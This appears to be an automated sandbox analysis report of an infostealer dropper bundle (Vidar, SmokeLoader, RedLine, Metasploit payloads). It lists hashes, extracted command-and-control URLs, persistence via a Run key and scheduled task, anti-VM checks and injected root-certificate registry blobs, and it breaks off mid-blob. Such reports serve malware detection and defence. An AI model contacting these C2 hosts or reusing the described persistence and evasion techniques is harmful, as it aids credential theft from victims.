Overview
overview
10Static
static
8 (1).exe
windows7_x64
108 (1).exe
windows10_x64
108 (10).exe
windows7_x64
108 (10).exe
windows10_x64
108 (11).exe
windows7_x64
108 (11).exe
windows10_x64
108 (12).exe
windows7_x64
108 (12).exe
windows10_x64
108 (13).exe
windows7_x64
108 (13).exe
windows10_x64
108 (14).exe
windows7_x64
108 (14).exe
windows10_x64
108 (15).exe
windows7_x64
108 (15).exe
windows10_x64
108 (16).exe
windows7_x64
108 (16).exe
windows10_x64
108 (17).exe
windows7_x64
108 (17).exe
windows10_x64
108 (18).exe
windows7_x64
108 (18).exe
windows10_x64
108 (19).exe
windows7_x64
108 (19).exe
windows10_x64
108 (2).exe
windows7_x64
8 (2).exe
windows10_x64
108 (20).exe
windows7_x64
108 (20).exe
windows10_x64
108 (21).exe
windows7_x64
108 (21).exe
windows10_x64
108 (22).exe
windows7_x64
108 (22).exe
windows10_x64
108 (23).exe
windows7_x64
108 (23).exe
windows10_x64
10Resubmissions
13-08-2021 10:16
210813-wpta271jdx 1008-08-2021 23:00
210808-fgs5g9pxfs 1007-08-2021 23:12
210807-g2jw1lmd4a 1007-08-2021 16:10
210807-51nhct4kfx 1006-08-2021 23:43
210806-gc2271nxwj 1006-08-2021 06:00
210806-f443x39x8a 1005-08-2021 17:08
210805-97y6banvvx 1004-08-2021 17:25
210804-hkxx2ntr8x 1004-08-2021 12:12
210804-rjbg4b4y7n 1003-08-2021 17:12
210803-r2h7ytjwqj 10Analysis
-
max time kernel
65s -
max time network
1811s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
20-07-2021 20:19
Static task
static1
Behavioral task
behavioral1
Sample
8 (1).exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
8 (1).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
8 (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
8 (10).exe
Resource
win10v20210408
Behavioral task
behavioral5
Sample
8 (11).exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
8 (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
8 (12).exe
Resource
win7v20210408
Behavioral task
behavioral8
Sample
8 (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
8 (13).exe
Resource
win7v20210408
Behavioral task
behavioral10
Sample
8 (13).exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
8 (14).exe
Resource
win7v20210408
Behavioral task
behavioral12
Sample
8 (14).exe
Resource
win10v20210410
Behavioral task
behavioral13
Sample
8 (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
8 (15).exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
8 (16).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
8 (16).exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
8 (17).exe
Resource
win7v20210410
Behavioral task
behavioral18
Sample
8 (17).exe
Resource
win10v20210408
Behavioral task
behavioral19
Sample
8 (18).exe
Resource
win7v20210410
Behavioral task
behavioral20
Sample
8 (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
8 (19).exe
Resource
win7v20210408
Behavioral task
behavioral22
Sample
8 (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
8 (2).exe
Resource
win7v20210408
Behavioral task
behavioral24
Sample
8 (2).exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
8 (20).exe
Resource
win7v20210408
Behavioral task
behavioral26
Sample
8 (20).exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
8 (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
8 (21).exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
8 (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
8 (22).exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
8 (23).exe
Resource
win7v20210410
General
-
Target
8 (19).exe
-
Size
3.0MB
-
MD5
bb072cad921aa5ce8b97706ce01bc570
-
SHA1
18bf034906c1341b7817e7361ad27a4425d820bd
-
SHA256
817a50d00909383bbef41e6f4e61b527d55f0873bcf745b29dbba75f52fe2e97
-
SHA512
d40e5f77d882ed29bd9de5a6848072e2f81cd02176955e2b1a4aedcdf4eb687d77bebe33cef0c7d702bc828181755f86e2564523d476adbb785f396a5ce1d474
Malware Config
Extracted
vidar
39.6
933
https://sslamlssa1.tumblr.com/
-
profile_id
933
Extracted
smokeloader
2020
http://conceitosseg.com/upload/
http://integrasidata.com/upload/
http://ozentekstil.com/upload/
http://finbelportal.com/upload/
http://telanganadigital.com/upload/
Extracted
redline
sel17
dwarimlari.xyz:80
Extracted
vidar
39.7
865
https://shpak125.tumblr.com/
-
profile_id
865
Extracted
metasploit
windows/single_exec
Extracted
vidar
39.7
828
https://shpak125.tumblr.com/
-
profile_id
828
Extracted
vidar
39.6
517
https://sslamlssa1.tumblr.com/
-
profile_id
517
Signatures
-
Glupteba Payload 2 IoCs
resource yara_rule behavioral21/memory/2752-390-0x0000000002D50000-0x0000000003676000-memory.dmp family_glupteba behavioral21/memory/2752-391-0x0000000000400000-0x0000000000D41000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
resource yara_rule behavioral21/memory/2872-251-0x0000000000417DEA-mapping.dmp family_redline behavioral21/memory/2872-249-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral21/memory/1936-263-0x0000000000417DFA-mapping.dmp family_redline behavioral21/memory/3056-261-0x0000000000417DEE-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
resource yara_rule behavioral21/memory/2872-251-0x0000000000417DEA-mapping.dmp Redline_stealer2 behavioral21/memory/2872-249-0x0000000000400000-0x000000000041E000-memory.dmp Redline_stealer2 behavioral21/memory/1936-263-0x0000000000417DFA-mapping.dmp Redline_stealer2 behavioral21/memory/3056-261-0x0000000000417DEE-mapping.dmp Redline_stealer2 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 8 IoCs
resource yara_rule behavioral21/memory/1016-160-0x0000000002270000-0x000000000230D000-memory.dmp family_vidar behavioral21/memory/1016-161-0x0000000000400000-0x00000000008F2000-memory.dmp family_vidar behavioral21/memory/2712-384-0x0000000000340000-0x00000000003DD000-memory.dmp family_vidar behavioral21/memory/2712-385-0x0000000000400000-0x00000000008EC000-memory.dmp family_vidar behavioral21/memory/2372-395-0x00000000008F0000-0x000000000098D000-memory.dmp family_vidar behavioral21/memory/2372-396-0x0000000000400000-0x00000000008EB000-memory.dmp family_vidar behavioral21/memory/1996-404-0x00000000021A0000-0x000000000223E000-memory.dmp family_vidar behavioral21/memory/1380-405-0x0000000000400000-0x00000000004A1000-memory.dmp family_vidar -
resource yara_rule behavioral21/files/0x000300000001315b-69.dat aspack_v212_v242 behavioral21/files/0x000300000001315b-70.dat aspack_v212_v242 behavioral21/files/0x000300000001315b-71.dat aspack_v212_v242 behavioral21/files/0x000300000001315b-73.dat aspack_v212_v242 behavioral21/files/0x0003000000013157-76.dat aspack_v212_v242 behavioral21/files/0x0003000000013157-77.dat aspack_v212_v242 behavioral21/files/0x0003000000013156-78.dat aspack_v212_v242 behavioral21/files/0x0003000000013156-79.dat aspack_v212_v242 behavioral21/files/0x0003000000013159-82.dat aspack_v212_v242 behavioral21/files/0x0003000000013159-83.dat aspack_v212_v242 behavioral21/files/0x000300000001315b-86.dat aspack_v212_v242 behavioral21/files/0x000300000001315b-88.dat aspack_v212_v242 behavioral21/files/0x000300000001315b-87.dat aspack_v212_v242 behavioral21/files/0x000300000001315b-85.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 25 IoCs
pid Process 836 setup_installer.exe 1712 setup_install.exe 112 sonia_4.exe 1552 sonia_1.exe 368 sonia_2.exe 1016 sonia_3.exe 1836 sonia_5.exe 1204 sonia_6.exe 1104 jfiag3g_gg.exe 1348 YCb7xPEKJAoKNG4baDTL6ydJ.exe 792 eyWmyb3MtRATGQgTNvrZAL_c.exe 1104 taskkill.exe 2016 bsXAAXp0rVhAYopR1FzfBWAX.exe 1524 uren1NgW68TZtePurtGVEnbZ.exe 1332 wmiprvse.exe 1580 DllHost.exe 2012 mzNoaTLwpChodbqqobM8w6aY.exe 744 vgAgKjYS2BgDZonkYSX_cxVw.exe 2140 DKDlG2eI1OTWcDEpjLGvRARu.exe 2480 IEXPLORE.EXE 2592 Acre.exe.com 2640 jfiag3g_gg.exe 2668 Acre.exe.com 2712 rcvbecs 2700 TnqOJlG5MEbN9y3LSRVr6pi0.exe -
resource yara_rule behavioral21/files/0x0005000000013158-162.dat upx behavioral21/files/0x0005000000013158-163.dat upx behavioral21/files/0x0005000000013158-165.dat upx behavioral21/files/0x0005000000013158-168.dat upx behavioral21/files/0x0005000000013158-169.dat upx behavioral21/files/0x0005000000013158-167.dat upx -
resource yara_rule behavioral21/memory/2760-242-0x0000000000400000-0x000000000064F000-memory.dmp vmprotect behavioral21/memory/2760-377-0x0000000000400000-0x000000000064F000-memory.dmp vmprotect -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion vgAgKjYS2BgDZonkYSX_cxVw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion vgAgKjYS2BgDZonkYSX_cxVw.exe -
Loads dropped DLL 64 IoCs
pid Process 1608 8 (19).exe 836 setup_installer.exe 836 setup_installer.exe 836 setup_installer.exe 836 setup_installer.exe 836 setup_installer.exe 836 setup_installer.exe 1712 setup_install.exe 1712 setup_install.exe 1712 setup_install.exe 1712 setup_install.exe 1712 setup_install.exe 1712 setup_install.exe 1712 setup_install.exe 1712 setup_install.exe 936 cmd.exe 1736 cmd.exe 1736 cmd.exe 1644 cmd.exe 1644 cmd.exe 824 cmd.exe 928 cmd.exe 928 cmd.exe 368 sonia_2.exe 368 sonia_2.exe 1016 sonia_3.exe 1016 sonia_3.exe 1188 cmd.exe 1836 sonia_5.exe 1836 sonia_5.exe 1204 sonia_6.exe 1204 sonia_6.exe 368 sonia_2.exe 1204 sonia_6.exe 1204 sonia_6.exe 1104 jfiag3g_gg.exe 1104 jfiag3g_gg.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1836 sonia_5.exe 1104 taskkill.exe 1104 taskkill.exe 1524 uren1NgW68TZtePurtGVEnbZ.exe 1524 uren1NgW68TZtePurtGVEnbZ.exe 1332 wmiprvse.exe 1332 wmiprvse.exe 1332 wmiprvse.exe 2016 bsXAAXp0rVhAYopR1FzfBWAX.exe 2016 bsXAAXp0rVhAYopR1FzfBWAX.exe 2140 DKDlG2eI1OTWcDEpjLGvRARu.exe 2140 DKDlG2eI1OTWcDEpjLGvRARu.exe 2012 mzNoaTLwpChodbqqobM8w6aY.exe 2012 mzNoaTLwpChodbqqobM8w6aY.exe 2376 cmd.exe 2520 WerFault.exe 2520 WerFault.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 2908 icacls.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" sonia_6.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA vgAgKjYS2BgDZonkYSX_cxVw.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 api.db-ip.com 276 api.2ip.ua 538 api.2ip.ua 795 api.2ip.ua 4 ipinfo.io 6 ipinfo.io 11 ip-api.com 18 api.db-ip.com 278 api.2ip.ua 311 api.2ip.ua 494 eth0.me 537 api.2ip.ua 794 api.2ip.ua -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 744 vgAgKjYS2BgDZonkYSX_cxVw.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1332 set thread context of 2140 1332 wmiprvse.exe 59 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
pid pid_target Process procid_target 2520 1016 WerFault.exe 44 3024 2760 WerFault.exe 72 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2368 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 2928 timeout.exe 2332 timeout.exe 2976 timeout.exe -
Kills process with taskkill 4 IoCs
pid Process 2420 taskkill.exe 2924 taskkill.exe 2064 taskkill.exe 1104 taskkill.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C sonia_5.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 sonia_5.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 sonia_5.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 sonia_5.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 mzNoaTLwpChodbqqobM8w6aY.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 sonia_5.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 sonia_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e sonia_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a sonia_3.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1e